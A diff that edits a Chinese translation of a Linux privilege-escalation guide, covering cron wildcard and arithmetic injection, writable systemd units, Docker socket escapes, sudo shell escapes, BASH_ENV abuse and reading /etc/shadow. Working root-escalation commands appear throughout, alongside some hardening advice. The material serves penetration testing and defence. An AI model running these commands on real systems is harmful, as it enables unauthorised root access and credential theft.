使用的目录中创建特定文件?) ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -357,22 +357,22 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul (_注意 user 用户对 /home/user 具有写权限_) -如果在该 crontab 中 root 用户尝试在未设置 PATH 的情况下执行某个命令或脚本。例如: _\* \* \* \* root overwrite.sh_\ -然后,你可以通过使用以下方式获得 root shell: +如果在这个 crontab 中 root 用户尝试执行某个命令或脚本但没有设置 PATH。例如: _\* \* \* \* root overwrite.sh_\ +那么,你可以通过使用: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron 使用带通配符的脚本 (Wildcard Injection) +### Cron using a script with a wildcard (Wildcard Injection) -如果脚本以 root 身份执行,并且命令中包含“**\***”,你可以利用这一点造成意外行为(例如 privesc)。示例: +如果一个由 root 执行的脚本在命令中包含 “**\***”,你可以利用这点造成意外行为(比如 privesc)。示例: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**如果通配符出现在像** _**/some/path/\***_ **这样的路径前面,则它不是易受攻击的(即使** _**./\***_ **也不是)。** +**如果 wildcard 前面带有像** _**/some/path/\***_ **这样的路径,它就不易受影响(即使** _**./\***_ **也不)。** -阅读以下页面以获取更多通配符利用技巧: +阅读以下页面以获取更多 wildcard 利用技巧: {{#ref}} @@ -380,13 +380,13 @@ wildcards-spare-tricks.md {{#endref}} -### Bash 算术扩展注入(在 cron 日志解析器中) +### Bash arithmetic expansion injection in cron log parsers -Bash 在 ((...))、$((...)) 和 let 中的算术求值之前,会先执行参数/变量扩展和命令替换。如果一个以 root 身份运行的 cron/parser 读取不受信任的日志字段并将其放入算术上下文,攻击者可以注入命令替换 $(...),当 cron 运行时该命令将在 root 权限下执行。 +Bash 在对 ((...))、$((...)) 和 let 中的表达式进行算术求值之前,会先执行 parameter expansion 和 command substitution。如果一个以 root 身份运行的 cron/parser 读取不受信任的日志字段并将它们放入算术上下文,攻击者可以注入 command substitution $(...),当 cron 运行时该命令会以 root 身份执行。 -- 为什么它有效:在 Bash 中,扩展发生的顺序为:参数/变量扩展、命令替换、算术扩展,然后是单词拆分和路径名扩展。所以像 `$(/bin/bash -c 'id > /tmp/pwn')0` 这样的值会先被替换(运行命令),然后剩下的数字 `0` 用于算术运算,这样脚本可以继续而不会报错。 +- Why it works: 在 Bash 中,expansions 的发生顺序为:parameter/variable expansion、command substitution、arithmetic expansion,然后是 word splitting 和 pathname expansion。因此像 `$(/bin/bash -c 'id > /tmp/pwn')0` 这样的值会先被替换(运行命令),随后剩下的数字 `0` 用于算术运算,使脚本继续而不报错。 -- 典型易受攻击的模式: +- Typical vulnerable pattern: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -396,38 +396,38 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- 利用方式:让攻击者可控的文本写入被解析的日志,使得看起来像数字的字段包含命令替换并以一个数字结尾。确保你的命令不向 stdout 输出(或将其重定向),这样算术运算仍然有效。 +- Exploitation: 让攻击者可控的文本被写入被解析的日志,使看起来像数字的字段包含一个 command substitution 并以数字结尾。确保你的命令不向 stdout 打印(或重定向它),以便算术运算仍然有效。 ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 # When the root cron parser evaluates (( total += count )), your command runs as root. ``` -### Cron 脚本覆盖与 symlink +### Cron script overwriting and symlink -如果你 **可以修改由 root 执行的 cron 脚本**,你可以非常容易地获得一个 shell: +如果你 **can modify a cron script** 被 root 执行,你可以很容易获得一个 shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -如果由 root 执行的脚本使用一个 **你拥有完全访问权限的目录**,那么删除该文件夹并 **创建一个 symlink 文件夹,指向另一个由你控制的脚本所在的目录** 可能会很有用。 +如果由 root 执行的脚本使用了一个 **你有完全访问权限的目录**,那么删除该文件夹并 **创建一个指向另一个由你控制的脚本的 symlink 文件夹** 可能会有用。 ```bash ln -d -s ``` ### 频繁的 cron jobs -你可以监视进程,查找每隔 1、2 或 5 分钟被执行的进程。也许你可以利用它来提权。 +你可以监视进程,查找每隔 1、2 或 5 分钟执行的进程。也许你可以利用它并提升权限。 -例如,要 **在 1 分钟内每 0.1 秒监视一次**,**按执行次数最少排序** 并删除被执行次数最多的命令,可以执行: +例如,要 **在 1 分钟内每 0.1 秒监控**、**按执行次数较少的命令排序** 并删除已执行次数最多的命令,你可以这样做: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**你也可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (这将监控并列出每个启动的进程)。 +**你也可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases)(这将监视并列出每个启动的进程)。 -### 隐形 cron jobs +### 不可见的 cron jobs -可以创建一个 cronjob,**在注释后放置回车字符**(不包含换行字符),cron job 仍会生效。示例(注意回车字符): +可以创建一个 cronjob,通过**在注释后放置一个回车**(不含换行字符),该 cronjob 仍然会生效。示例(注意回车字符): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -435,87 +435,87 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 可写的 _.service_ 文件 -检查是否可以写入任何 `.service` 文件,如果可以,您 **可以修改它**,以便它 **执行** 您的 **后门**,当服务 **启动**、**重启** 或 **停止** 时(可能需要等待机器重启)。\ -例如,在 .service 文件中创建后门,使用 **`ExecStart=/tmp/script.sh`** +检查你是否可以写入任何 `.service` 文件,如果可以,你 **可以修改它**,以便在服务 **启动**、**重启** 或 **停止** 时 **执行** 你的 **backdoor**(可能需要等到机器重启)。\ +例如,在 `.service` 文件中通过 **`ExecStart=/tmp/script.sh`** 创建你的 backdoor。 -### 可写的 service 二进制文件 +### 可写的服务二进制文件 -请记住,如果您对由服务执行的二进制文件拥有 **写权限**,您可以修改它们以植入后门,这样当服务被重新执行时,后门就会被执行。 +请记住,如果你对由服务执行的二进制文件拥有 **写权限**,你可以将它们改为包含 backdoors 的版本,这样当服务被重新执行时 backdoors 就会被执行。 ### systemd PATH - 相对路径 -您可以查看 **systemd** 使用的 PATH: +你可以使用以下命令查看 **systemd** 使用的 PATH: ```bash systemctl show-environment ``` -如果你发现你可以在该路径的任意文件夹中**write**,你可能能够**escalate privileges**。你需要搜索在服务配置文件中使用的**相对路径**,例如: +如果发现你可以在路径中的任意文件夹中**write**,你可能能够**escalate privileges**。你需要搜索**relative paths being used on service configurations** 文件,例如: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -然后,在你可写入的 systemd PATH 文件夹内创建一个与相对路径二进制文件同名的 **可执行文件**,当服务被要求执行易受攻击的动作(**Start**, **Stop**, **Reload**)时,你的 **后门将被执行**(非特权用户通常无法 start/stop 服务,但检查是否可以使用 `sudo -l`)。 +然后,在你可写的 systemd PATH 文件夹内,创建一个名称与相对路径二进制文件相同的 **executable**,当服务被要求执行易受攻击的操作(**Start**, **Stop**, **Reload**)时,你的 **backdoor 将被执行**(非特权用户通常无法 start/stop services,但请检查是否可以使用 `sudo -l`)。 -**Learn more about services with `man systemd.service`.** +**了解更多 services,请参阅 `man systemd.service`。** -## **Timers** +## **计时器** -**Timers** 是 systemd 的 unit 文件,文件名以 `**.timer**` 结尾,用于控制 `**.service**` 文件或触发事件。**Timers** 可用作替代 cron 的方案,因为它们内建对日历时间事件和单调时间事件的支持,并且可以异步运行。 +**Timers** 是 systemd unit 文件,其名称以 `**.timer**` 结尾,用于控制 `**.service**` 文件或事件。**Timers** 可以作为 cron 的替代方案,因为它们内置对日历时间事件和单调时间事件的支持,并且可以异步运行。 -你可以枚举所有的 timers: +你可以枚举所有计时器: ```bash systemctl list-timers --all ``` -### 可写定时器 +### Writable timers -如果你可以修改一个定时器,就可以让它执行 systemd.unit 的某些现有单元(例如 `.service` 或 `.target`) +如果你可以修改一个 timer,你可以让它执行一些已存在的 systemd.unit(比如 `.service` 或 `.target`) ```bash Unit=backdoor.service ``` -在文档中你可以看到 Unit 是什么: +在文档中你可以看到 Unit 的定义: -> 该 unit 会在此 timer 到期时被激活。参数是一个 unit 名称,其后缀不是 ".timer"。如果未指定,此值默认为一个 service,其名称与 timer unit 相同,仅后缀不同。(见上文。)建议被激活的 unit 名称和 timer unit 的 unit 名称应除后缀外保持一致。 +> 当此 timer 到期时要激活的 unit。参数是一个 unit 名称,其后缀不是 ".timer"。如果未指定,该值默认为一个与 timer unit 同名但后缀不同的 service。(见上文。)建议被激活的 unit 名称与 timer unit 的 unit 名称除后缀外保持一致。 因此,要滥用此权限你需要: -- 找到某个 systemd unit(例如 `.service`),它正在 **执行一个可写的二进制文件** -- 找到某个 systemd unit,它正在 **执行一个相对路径** 并且你对 **systemd PATH** 拥有 **可写权限**(以模拟该可执行文件) +- 找到某个 systemd unit(例如 `.service`),该 unit 正在执行一个**可写的二进制** +- 找到某个 systemd unit,其**执行的是相对路径**,并且你对**systemd PATH**拥有**写权限**(以冒充该可执行文件) **Learn more about timers with `man systemd.timer`.** -### **启用定时器** +### **启用 Timer** -要启用定时器,你需要 root 权限并执行: +要启用一个 timer,你需要 root 权限并执行: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -注意 **timer** 是通过在 `/etc/systemd/system/.wants/.timer` 上创建一个符号链接来被 **激活** 的。 +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` -## 套接字 +## Sockets -Unix Domain Sockets (UDS) 在客户端-服务器模型中允许在同一台或不同机器上的 **进程间通信**。它们使用标准的 Unix 描述符文件进行计算机间通信,并通过 `.socket` 文件来配置。 +Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. -Sockets 可以使用 `.socket` 文件进行配置。 +Sockets can be configured using `.socket` files. -**通过 `man systemd.socket` 可以了解更多关于 sockets 的信息。** 在该文件中,可以配置多个有趣的参数: +**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项各不相同,但总体上用于 **指示将在哪监听** 该 socket(AF_UNIX 套接字文件的路径、要监听的 IPv4/6 地址和/或端口号等)。 -- `Accept`: 接受一个布尔参数。如果为 **true**,则为每个传入连接生成一个**service instance**,并且只将连接 socket 传递给它。如果为 **false**,则所有监听 sockets 本身会**传递给启动的 service 单元**,并且对所有连接只启动一个 service 单元。对于 datagram sockets 和 FIFOs,此值被忽略,因为单个 service 单元会无条件地处理所有传入流量。**默认值为 false**。出于性能考虑,建议新守护进程仅以适合 `Accept=no` 的方式编写。 -- `ExecStartPre`, `ExecStartPost`: 接受一条或多条命令行,分别在监听的 **sockets**/FIFOs 被创建并绑定之前或之后**执行**。命令行的第一个词必须是绝对文件名,随后是进程的参数。 -- `ExecStopPre`, `ExecStopPost`: 在监听的 **sockets**/FIFOs 被**关闭**并移除之前或之后分别**执行**的附加 **命令**。 -- `Service`: 指定在有**传入流量**时要**激活**的 **service** 单元名称。此设置仅允许用于 Accept=no 的 socket。它默认指向与 socket 同名(替换后缀)的 service。通常情况下,使用此选项并非必要。 +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. +- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. +- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. -### 可写的 .socket 文件 +### Writable .socket files -如果你发现一个**可写**的 `.socket` 文件,你可以在 `[Socket]` 段的开头**添加**诸如 `ExecStartPre=/home/kali/sys/backdoor` 的内容,此 backdoor 将在 socket 被创建之前执行。因此,你**可能需要等到机器重启。**\ -_注意系统必须正在使用该 socket 文件配置,否则 backdoor 不会被执行_ +If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ -### 可写的 sockets +### Writable sockets -如果你**发现任何可写的 socket**(_这里指的是 Unix Sockets,而不是配置文件 `.socket`_),那么你就**可以与该 socket 通信**,并可能利用其中的漏洞。 +If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. -### 枚举 Unix Sockets +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -528,7 +528,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation example:** +**利用示例:** {{#ref}} @@ -537,48 +537,48 @@ socket-command-injection.md ### HTTP sockets -注意可能存在一些 **sockets listening for HTTP** requests (_我不是指 .socket files,而是作为 unix sockets 的文件_)。你可以用以下命令检查: +注意,可能存在一些 **sockets listening for HTTP** 请求(_我不是在说 .socket files,但指的是充当 unix sockets 的文件_)。你可以用下面的命令检查: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -如果该 socket **responds with an HTTP** request,那么你可以与其 **communicate**,并可能 **exploit** 某些漏洞。 +如果该 socket **responds with an HTTP** request,那么你可以 **communicate** with it,并可能 **exploit some vulnerability**。 ### 可写的 Docker Socket -The Docker socket,通常位于 `/var/run/docker.sock`,是一个关键文件,需要加以保护。默认情况下,它对 `root` 用户和 `docker` 组的成员是可写的。拥有对该 socket 的写权限可能导致 privilege escalation。下面是如何利用这一点的分解,以及当 Docker CLI 不可用时的替代方法。 +Docker socket,通常位于 `/var/run/docker.sock`,是一个需要保护的重要文件。默认情况下,`root` 用户和 `docker` 组的成员对其具有写权限。拥有对此 socket 的写权限可能导致 privilege escalation。下面分解说明如何实现这一点,以及在 Docker CLI 不可用时的替代方法。 #### **Privilege Escalation with Docker CLI** -如果你对 Docker socket 有写权限,你可以使用以下命令来 escalate privileges: +如果你对 Docker socket 拥有写权限,可以使用以下命令来 escalate privileges: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -这些命令允许你运行一个 container,以 root 权限访问主机的文件系统。 +这些命令允许你运行一个具有对宿主机文件系统的 root 级访问权限的容器。 #### **直接使用 Docker API** -在 Docker CLI 不可用的情况下,仍然可以使用 Docker API 和 `curl` 命令来操纵 Docker socket。 +在 Docker CLI 不可用的情况下,仍然可以使用 Docker API 和 `curl` 命令来操作 Docker socket。 -1. **列出 Docker Images:** 检索可用 images 列表。 +1. **列出 Docker 镜像:** 检索可用镜像的列表。 ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **创建一个 Container:** 发送请求以创建一个将主机根目录挂载进去的 container。 +2. **创建容器:** 发送请求以创建一个将宿主机根目录挂载进去的容器。 ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -启动新创建的 container: +启动新创建的容器: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **附着到 Container:** 使用 `socat` 建立到 container 的连接,从而在其中执行命令。 +3. **附加到容器:** 使用 `socat` 建立与容器的连接,从而在其中执行命令。 ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -588,31 +588,31 @@ Connection: Upgrade Upgrade: tcp ``` -在建立 `socat` 连接后,你可以直接在 container 内执行命令,并以 root 权限访问主机的文件系统。 +在建立 `socat` 连接后,你可以在容器中直接执行命令,并以 root 级别访问宿主机的文件系统。 ### 其他 -注意,如果你对 docker socket 有写权限,因为你**属于组 `docker`**,你有[**更多的提权方法**](interesting-groups-linux-pe/index.html#docker-group)。如果[**docker API 在某个端口监听**,你也可能能够攻破它](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 +注意,如果你对 docker socket 具有写权限,因为你是 **inside the group `docker`**,你有 [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)。如果 [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 -在以下位置查看 **更多从 docker 逃逸或滥用它以提升权限的方法**: +在以下位置查看 **more ways to break out from docker or abuse it to escalate privileges**: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) 提权 +## Containerd (ctr) privilege escalation -如果你发现自己可以使用 **`ctr`** 命令,请阅读以下页面,因为**你可能能够滥用它来提升权限**: +如果你发现可以使用 **`ctr`** 命令,请阅读以下页面,因为 **you may be able to abuse it to escalate privileges**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** 提权 +## **RunC** privilege escalation -如果你发现自己可以使用 **`runc`** 命令,请阅读以下页面,因为**你可能能够滥用它来提升权限**: +如果你发现可以使用 **`runc`** 命令,请阅读以下页面,因为 **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -621,15 +621,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus 是一个复杂的进程间通信 (IPC) 系统,允许应用程序高效地交互和共享数据。它为现代 Linux 系统设计,提供了一个用于不同形式应用通信的健壮框架。 +D-Bus 是一个复杂的 **inter-Process Communication (IPC) system**,使应用能够高效地交互和共享数据。它针对现代 Linux 系统设计,提供了一个用于各种应用间通信的健壮框架。 -该系统用途广泛,支持增强进程间数据交换的基本 IPC,类似于增强的 UNIX 域套接字。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自 Bluetooth daemon 的来电信号可以促使音乐播放器静音,从而改善用户体验。D-Bus 还支持远程对象系统,简化应用之间的服务请求和方法调用,简化了传统上复杂的流程。 +该系统非常灵活,支持基础的 IPC,以增强进程间的数据交换,类似于 **enhanced UNIX domain sockets**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自 Bluetooth 守护进程的来电信号可以促使音乐播放器静音,从而提升用户体验。D-Bus 还支持远程对象系统,简化应用间的服务请求和方法调用,简化了传统上复杂的流程。 -D-Bus 基于允许/拒绝模型运行,根据匹配策略规则的累积效果来管理消息权限(方法调用、信号发送等)。这些策略指定与 bus 的交互,可能通过利用这些权限导致提权。 +D-Bus 基于 **allow/deny model** 运行,根据匹配策略规则的累积效果来管理消息权限(方法调用、信号发射等)。这些策略指定了与 bus 的交互,可能通过利用这些权限导致 privilege escalation。 -在 /etc/dbus-1/system.d/wpa_supplicant.conf 中提供了此类策略的一个示例,详细说明了 root 用户拥有、发送和接收 fi.w1.wpa_supplicant1 的消息的权限。 +下面给出位于 `/etc/dbus-1/system.d/wpa_supplicant.conf` 的此类策略示例,详细说明了 root 用户对 `fi.w1.wpa_supplicant1` 的拥有、发送和接收消息的权限。 -未指定用户或组的策略适用于所有人,而“default”上下文策略适用于未被其他特定策略覆盖的所有主体。 +没有指定用户或组的策略适用于所有情形,而“default”上下文策略则适用于未被其他特定策略覆盖的所有情况。 ```xml @@ -638,7 +638,7 @@ D-Bus 基于允许/拒绝模型运行,根据匹配策略规则的累积效果 ``` -**在这里了解如何 enumerate 和 exploit D-Bus communication:** +**在此学习如何枚举并利用 D-Bus 通信:** {{#ref}} @@ -647,9 +647,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **网络** -对网络进行 enumerate 并确定主机的位置总是很有趣。 +枚举网络并确定该机器在网络中的位置通常很有价值。 -### 通用 enumeration +### 通用枚举 ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -674,22 +674,22 @@ lsof -i ``` ### 开放端口 -始终检查在你获得访问权限后,之前无法与之交互的机器上运行的网络服务: +在访问机器之前,务必检查机器上运行的、你之前无法与之交互的网络服务: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -检查你是否可以嗅探流量。如果可以,你可能能够抓取一些凭证。 +检查是否可以嗅探流量。如果可以,你可能能够获取一些 credentials。 ``` timeout 1 tcpdump ``` -## Users +## 用户 -### Generic Enumeration +### 通用枚举 -检查你是 **who**,你拥有什么 **privileges**,系统中有哪些 **users**,哪些可以 **login**,哪些具有 **root privileges**: +检查你是 **谁**、你拥有哪些 **权限**、系统中有哪些 **用户**、哪些可以 **登录**、以及哪些拥有 **root 权限**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -713,12 +713,12 @@ gpg --list-keys 2>/dev/null ``` ### 大 UID -一些 Linux 版本受一个漏洞影响,允许 **UID > INT_MAX** 的用户提升权限。更多信息: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**利用它**:**`systemd-run -t /bin/bash`** +一些 Linux 版本受一个漏洞影响,允许 UID > INT_MAX 的用户提升特权。更多信息: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**可利用命令**: **`systemd-run -t /bin/bash`** ### 组 -检查你是否是某个可能授予你 root 权限的**组成员**: +检查你是否是 **某个组的成员**,该组可能授予你 root 权限: {{#ref}} @@ -727,7 +727,7 @@ interesting-groups-linux-pe/ ### 剪贴板 -如果可能,检查剪贴板中是否有任何有价值的信息 +检查剪贴板中是否有任何有趣的内容(如果可能) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -744,27 +744,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### 已知密码 -如果您**知道环境中的任何密码**,请**尝试使用该密码以每个用户身份登录**。 +如果你 **知道环境中的任意密码**,**尝试使用该密码以每个用户的身份登录**。 ### Su Brute -如果您不介意产生大量噪音,并且计算机上存在 `su` 和 `timeout` 二进制文件,您可以尝试使用 [su-bruteforce](https://github.com/carlospolop/su-bruteforce) 进行暴力破解。\ +如果你不介意产生大量噪音,且目标主机上存在 `su` 和 `timeout` 二进制文件,你可以尝试使用 [su-bruteforce](https://github.com/carlospolop/su-bruteforce)。\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 使用 `-a` 参数也会尝试对用户进行暴力破解。 ## 可写 PATH 滥用 ### $PATH -如果您发现可以在 $PATH 的某个文件夹中**写入**,您可能能够通过在可写文件夹中**创建一个 backdoor**——文件名为某个将由不同用户(理想情况下为 root)执行的命令——来提升权限,前提是该命令**不会从位于您可写文件夹之前的文件夹**在 $PATH 中被加载。 +如果你发现可以**写入 $PATH 的某个文件夹**,你可能能够通过在可写文件夹中**创建一个 backdoor**(名称与将由其他用户(理想情况下为 root)执行的某个命令相同)来提升权限,前提是该命令**不会从位于你可写文件夹之前的路径中的文件夹加载**。 ### SUDO and SUID -您可能被允许使用 sudo 执行某些命令,或者某些命令可能设置了 suid 位。使用以下方式检查: +你可能被允许使用 sudo 执行某些命令,或者某些二进制文件可能具有 suid 位。使用以下命令检查: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -一些 **意想不到的命令允许你读取和/或写入文件,甚至执行命令。** 例如: +有些 **出乎意料的命令允许你读取和/或写入文件,甚至执行命令。** 例如: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -775,13 +775,13 @@ less>! ``` ### NOPASSWD -Sudo 配置可能允许用户在不知道密码的情况下,以另一个用户的权限执行某些命令。 +Sudo 的配置可能允许用户在不知道密码的情况下以另一个用户的权限执行某些命令。 ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -在这个示例中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在可以通过将 ssh key 添加到 root directory 或调用 `sh` 来轻松获取 shell。 +在这个例子中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在可以通过将一个 ssh key 添加到 `root` 目录或调用 `sh` 来很容易获得 shell。 ``` sudo vim -c '!sh' ``` @@ -793,19 +793,19 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -该示例(**based on HTB machine Admirer**)存在**漏洞**:可以通过**PYTHONPATH hijacking**在以 root 身份执行脚本时加载任意 python 库: +这个示例,**基于 HTB machine Admirer**,**易受** **PYTHONPATH hijacking** 的影响,可在以 root 身份执行脚本时加载任意 python 库: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV preserved via sudo env_keep → root shell +### BASH_ENV 通过 sudo env_keep 保留 → root shell -如果 sudoers 保留了 `BASH_ENV`(例如,`Defaults env_keep+="ENV BASH_ENV"`),你可以利用 Bash 的非交互启动行为,在调用被允许的命令时以 root 身份运行任意代码。 +如果 sudoers 保留 `BASH_ENV`(例如,`Defaults env_keep+="ENV BASH_ENV"`),你可以利用 Bash 的非交互启动行为,在调用被允许的命令时以 root 身份运行任意代码。 -- Why it works: 对于非交互 shell,Bash 会求值 `$BASH_ENV` 并在运行目标脚本之前 source 该文件。许多 sudo 规则允许运行脚本或 shell 包装器。如果 `BASH_ENV` 被 sudo 保留,你的文件会以 root 权限被 source。 +- 为什么可行:对于非交互式 shell,Bash 会求值 `$BASH_ENV` 并在运行目标脚本之前 source 该文件。许多 sudo 规则允许运行脚本或 shell 包装器。如果 `BASH_ENV` 被 sudo 保留,你的文件会以 root 权限被 source。 -- Requirements: -- 你可以执行的 sudo 规则(任何以非交互方式调用 `/bin/bash` 的目标,或任何 bash 脚本)。 -- `BASH_ENV` 出现在 `env_keep` 中(可用 `sudo -l` 检查)。 +- 要求: +- 你可以运行的 sudo 规则(任何以非交互方式调用 `/bin/bash` 的目标,或任何 bash 脚本)。 +- `BASH_ENV` 出现在 `env_keep` 中(用 `sudo -l` 检查)。 - PoC: ```bash @@ -817,14 +817,14 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- 加固: -- 将 `BASH_ENV`(和 `ENV`)从 `env_keep` 中移除,优先使用 `env_reset`。 -- 避免为 sudo-allowed 命令使用 shell 包装器;尽量使用最小化的二进制文件。 -- 考虑在使用被保留的环境变量时启用 sudo 的 I/O 日志记录和告警。 +- Hardening: +- 从 `env_keep` 中删除 `BASH_ENV`(和 `ENV`),优先使用 `env_reset`。 +- 避免为允许通过 `sudo` 的命令使用 shell 包装器;使用尽量精简的二进制程序。 +- 当保留的环境变量被使用时,考虑启用 `sudo` 的 I/O 日志记录和告警。 ### Sudo 执行绕过路径 -**Jump** 以读取其他文件或使用 **symlinks**。例如在 sudoers 文件中: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**跳转** 以读取其他文件或使用 **symlinks**。例如在 sudoers 文件中: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -834,46 +834,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -如果使用了 **wildcard** (\*),就更简单了: +如果使用 **wildcard** (\*),就更容易: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**缓解措施**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**Countermeasures**: 